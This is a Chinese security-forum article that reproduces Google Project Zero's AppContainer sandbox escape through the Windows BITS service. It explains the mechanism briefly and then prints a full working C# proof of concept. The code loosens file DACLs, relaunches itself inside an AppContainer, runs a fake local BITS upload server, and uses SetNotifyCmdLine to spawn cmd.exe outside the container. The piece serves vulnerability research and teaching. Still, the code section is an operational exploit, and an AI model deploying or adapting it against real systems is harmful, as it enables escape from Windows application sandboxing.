关于谷歌P0的AppContainer逃逸的一种简单的复现

资讯 作者:看雪学院 2021-05-06 20:43:09 阅读:672
本文为看雪论坛优秀文章
看雪论坛作者ID:王cb



简要概述




本文主要讨论谷歌P0文章中提到的Background Intelligent Transfer Service (BITS)服务的关于AppContainer逃逸的一种简单的复现。


简要分析




关于AppContainer隔离机制的的介绍可以参考相关引用节的相关文章,这里不再赘述。AppContainer进程属于对低完整性进程在PackageSid、Capabilities等更高粒度层面上实现的隔离,具有更加有限的功能。

AppContainer不具有访问用户文件,有限的网络通信,和SMB共享访问等功能。常见的AppContainer capability可以在这里找到相关文档说明,谷歌的NtApiDotNet项目项目也为我们提供的常见的已知SID。



使用Process Hacker工具在图中可以看到AppContainer进程被赋予了指定的PackageSid和Capabilities SID的低完整性进程,windos也正是使用这些安全描述符(SD,下同)里的DACL(discretionaryaccess control list)来控制用户和用户组的访问权限。在这里我们可以利用记事本来进行尝试。


经过测试,记事本的运行过程似乎没有问题。但是,如果我们尝试使用记事本的文件 ->打开菜单,来打开其他文件(几乎是任何文件),我们会发现记事本无法访问常用的位置(例如:我的文档或我的图片)。这是因为该进程正在以低完整性级别来运行,而文件默认为中完整性级别。

进程管理器(Process Explorer)中的 "AppContainer",使用的是低完整性级别。

如果我们希望记事本能够访问用户的文件(例如:文档和图片),那么就必须在这些对象中设置明确的权限,允许访问 AppContainer PackageSid。要使用的函数包括 SetNamedSecurityInfo,关于完整代码请参阅GitHub项目同样可以看到访问SMB共享和查询基本服务信息也被拒绝。



运行效果




AppContainer进程中调用BITS服务的

IBackgroundCopyJob::SetNotifyCmdLine:

https://docs.microsoft.com/zh-cn/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline


API会在完成上载或下载任务以后impersonate(模拟)调用方token并创建一个新进程,由于AppContainer进程不具有对本地文件进行写入的功能,所以只能使用上载模式。

这里只需要赋予AppContainer进程CapabilityPicturesLibrary权限为了保证兼容性起见使用通用的windowscalculator的PackageSid,即可读取用户图片文件夹的文件作为上传文件,在一个任意的远程监听http服务模拟伪造的BITS服务上传服务

在文件成功上传后(实际上并没有真实的文件操作)既可触发回调,这里(BITS)服务并没有创建一个完全相同隔离等级的AppContainer进程作为回调,而是当调用方为AppContainer进程时新进程剥离了AppContainer的限制,转换为一个完全可控的低完整性进程(移除了PackageSid等),从而实现了有限的AppContainer逃逸。

新进程已经可以创建子进程,读取本地文件,和访问SMB等低完整用户进程具有权限。





相关代码




using System;using System.Collections.Generic;using System.Diagnostics.CodeAnalysis;using System.IO;using System.Linq;using System.Net;using System.Net.Sockets;using System.Runtime.CompilerServices;using System.Runtime.InteropServices;using System.Text;using System.Threading;using System.Threading.Tasks;using AppContainerBypass;using NtApiDotNet;using NtApiDotNet.Win32; namespace AppContainerBypass{     class Program    {        static volatile ManualResetEvent me=new ManualResetEvent(false);        static bool IsInAppContainer()        {            using (var token = NtToken.OpenProcessToken())            {                return token.AppContainer;            }        }         static void UpdateSecurity(string path)        {            var sd = new NtApiDotNet.SecurityDescriptor("D:AI(A;;FA;;;WD)(A;;FA;;;AC)");            using (var file = NtFile.Open(NtFileUtils.DosFileNameToNt(path), null, FileAccessRights.WriteDac))            {                file.SetSecurityDescriptor(sd, NtApiDotNet.SecurityInformation.Dacl);            }        }         static void FixSecurity(string dir)        {             UpdateSecurity(dir);            foreach (var file in Directory.GetFiles(dir))            {                UpdateSecurity(file);            }        }        static string cmdExe = @"C:\Windows\System32\cmd.exe";        static string mainExe = typeof(Program).Assembly.Location;         static bool RestartInAppContainer(string[] args)        {            string FakeFile = Path.Combine(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures), "1.txt");            if (!File.Exists(FakeFile))            {                File.WriteAllText(FakeFile,"fake");             }            FixSecurity(Path.GetDirectoryName(typeof(Program).Assembly.Location));            FixSecurity(Environment.GetFolderPath(Environment.SpecialFolder.MyPictures));              List<Sid> caps = new List<Sid>                {                     KnownSids.CapabilityInternetClient,                    KnownSids.CapabilityInternetClientServer,                    KnownSids.CapabilityPrivateNetworkClientServer,                    KnownSids.CapabilityPicturesLibrary                 };              Win32ProcessConfig config = new Win32ProcessConfig            {                CreationFlags = CreateProcessFlags.NewConsole,                CurrentDirectory = Environment.GetFolderPath(Environment.SpecialFolder.MyPictures),                ApplicationName = mainExe,                CommandLine = mainExe + " " + FakeFile               };            config.SetAppContainerSidFromName("microsoft.windowscalculator_8wekyb3d8bbwe");             config.Capabilities.AddRange(caps);             using (var p = Win32Process.CreateProcess(config))            {                p.Process.Wait();            }            return true;         }          private static void Process_CANCEL_SESSION(HttpListenerContext context)        {            Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());            context.Response.Headers["BITS-Packet-Type"] = "Ack";            context.Response.ContentLength64 = 0;            context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();        }         private static void Process_PING(HttpListenerContext context)        {            context.Response.Headers["BITS-Packet-Type"] = "Ack";            context.Response.Headers["BITS-Error-Code"] = "1";            context.Response.Headers["BITS-Error-Context"] = "";            context.Response.ContentLength64 = 0;        }         private static void Process_CLOSE_SESSION(HttpListenerContext context)        {            Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());            context.Response.Headers["BITS-Packet-Type"] = "Ack";            context.Response.ContentLength64 = 0;            context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();        }        private static void Process_FRAGMENT(HttpListenerContext context)        {              Guid SessionId = Guid.Parse(context.Request.Headers["BITS-Session-Id"].ToString());            //string ContentName = context.Request.Headers["Content-Name"].ToString();            string ContentRange = context.Request.Headers["Content-Range"].ToString();            List<string> ContentRangeList = ContentRange.Split(new string[] { "/" }, StringSplitOptions.RemoveEmptyEntries).ToList();            List<string> crange = ContentRangeList[0].Split(new string[] { "-" }, StringSplitOptions.RemoveEmptyEntries).ToList();            string total_length = ContentRangeList[1];            string range_start = crange[0];            string range_end = crange[1];            Console.Write("Process Process_FRAGMENT:range_start:" + range_start + ",range_end:" + range_end + ",total_length:" + total_length + Environment.NewLine);            context.Response.Headers["BITS-Packet-Type"] = "Ack";            context.Response.ContentLength64 = 0;            context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();            context.Response.Headers["BITS-Received-Content-Range"] = (int.Parse(range_end) + 1).ToString();        }        private static void Process_CREATE_SESSION(HttpListenerContext context)        {            string supported_protocols = "{7df0354d-249b-430f-820d-3d2a9bef4931}";            List<string> BITSSupportedProtocolsList = context.Request.Headers["BITS-Supported-Protocols"].Split(new string[] { " " }, StringSplitOptions.RemoveEmptyEntries).ToList();            if (BITSSupportedProtocolsList.Contains(supported_protocols))            {                Guid SessionId = Guid.NewGuid();                context.Response.ContentLength64 = 0;                context.Response.Headers["BITS-Protocol"] = supported_protocols;                context.Response.Headers["BITS-Packet-Type"] = "Ack";                context.Response.Headers["BITS-Session-Id"] = SessionId.ToString();            }        }         private static void Process_BITS_POST(HttpListenerContext context)        {            try            {                  if (context.Request.Headers["BITS-Packet-Type"] != null)                {                    string BITSPacketType = context.Request.Headers["BITS-Packet-Type"].ToString().ToUpper();                    Console.Write("Process BITSPacketType:" + BITSPacketType + Environment.NewLine);                    switch (BITSPacketType)                    {                        case "CREATE-SESSION":                            {                                 Process_CREATE_SESSION(context);                                 break;                            }                        case "FRAGMENT":                            {                                Process_FRAGMENT(context);                                break;                            }                        case "CLOSE-SESSION":                            {                                Process_CLOSE_SESSION(context);                                break;                            }                        case "CANCEL-SESSION":                            {                                Process_CANCEL_SESSION(context);                                 break;                            }                        case "PING":                            {                                Process_PING(context);                                break;                            }                        default:                            {                                 break;                            }                    }                     context.Response.StatusCode = 200;                    context.Response.Close();                 }            }            catch (Exception e)            {                context.Response.StatusCode = 500;                context.Response.Headers["BITS-Error-Code"] = "1";                context.Response.Close();                Console.WriteLine(e);             }         }          private static void StartBitsServer()        {            try            {              using (HttpListener listener = new HttpListener())            {                listener.Prefixes.Add("http://localhost:5686/");                listener.Start();                Console.Write("StartBitsServer"+Environment.NewLine);                me.Set();                 while (true)                {                    HttpListenerContext context = listener.GetContext();                     Console.Write("Process Method:" + context.Request.HttpMethod.ToUpper() + Environment.NewLine);                    switch (context.Request.HttpMethod.ToUpper())                    {                        case "BITS_POST":                            {                                Process_BITS_POST(context);                                break;                            }                        default:                            {                                break;                            }                    }                }                }            }            catch (Exception e)            {                Console.WriteLine(e);                throw;            }        }         static void Main(string[] args)        {            try            {                   if (IsInAppContainer())                {                    RunBtsJob(args[0]);                }                else                {                    Task.Factory.StartNew(() =>                    {                        StartBitsServer();                    });                    me.WaitOne();                    RestartInAppContainer(args.ToArray());                 }            }            catch (Exception e)            {                Console.WriteLine(e);                throw;            }        }         private static void RunBtsJob(string file)        {            IBackgroundCopyManager mgr = new BackgroundCopyManager() as IBackgroundCopyManager;            Guid jobGuid;            IBackgroundCopyJob job1;            mgr.CreateJob("fake", BG_JOB_TYPE.BG_JOB_TYPE_UPLOAD, out jobGuid, out job1);            IBackgroundCopyJob2 job = job1 as IBackgroundCopyJob2;            job.SetNotifyCmdLine(cmdExe, cmdExe);            job.SetNotifyFlags(BG_JOB_NOTIFICATION_TYPE.BG_NOTIFY_JOB_TRANSFERRED);            job.AddFile("http://localhost:5686/fake.png", file);            job.Resume();            BG_JOB_STATE stat = BG_JOB_STATE.BG_JOB_STATE_QUEUED;            while (stat != BG_JOB_STATE.BG_JOB_STATE_TRANSFERRED)            {                Thread.Sleep(1000);                job.GetState(out stat);            }            job.Complete();            Console.Write("Success");        }    }}



相关引用




1. 谷歌P0文章
https://googleprojectzero.blogspot.com/2020/04/you-wont-believe-what-this-one-line.html

2. 谷歌P0文章翻译
https://www.anquanke.com/post/id/203790

3. Windows AppContainer 降权,隔离与安全
https://ipvb.gitee.io/container/2015/06/12/AppContainer/

4. 隔离机制AppContainer
https://www.freebuf.com/articles/system/59893.html 

5. Windows下如何创建低权限进程
https://www.cnblogs.com/liaoguifa/p/lower-process-integrity.html

6. 腾讯反病毒实验室:深度解析AppContainer工作机制
https://blog.csdn.net/stevegao_tencent/article/details/44035643

7. 如何在Windows AppCotainer中创建进程
https://www.4hou.com/posts/YM5O

8. SetNotifyCmdLine接口介绍
https://docs.microsoft.com/zh-cn/windows/win32/api/bits1_5/nf-bits1_5-ibackgroundcopyjob2-setnotifycmdline 

9. AppContainer capability
https://docs.microsoft.com/en-us/windows/uwp/packaging/app-capability-declarations#custom-capabilities 

10. BITS服务上传接口
https://docs.microsoft.com/en-us/openspecs/windows_protocols/mc-bup/f2411391-7785-4351-b419-fa794d7f9215


相关项目




PoC:
https://gitee.com/cbwang505/app-container-bypass




看雪ID:王cb

https://bbs.pediy.com/user-home-609565.htm

  *本文由看雪论坛 王cb 原创,转载请注明来自看雪社区。


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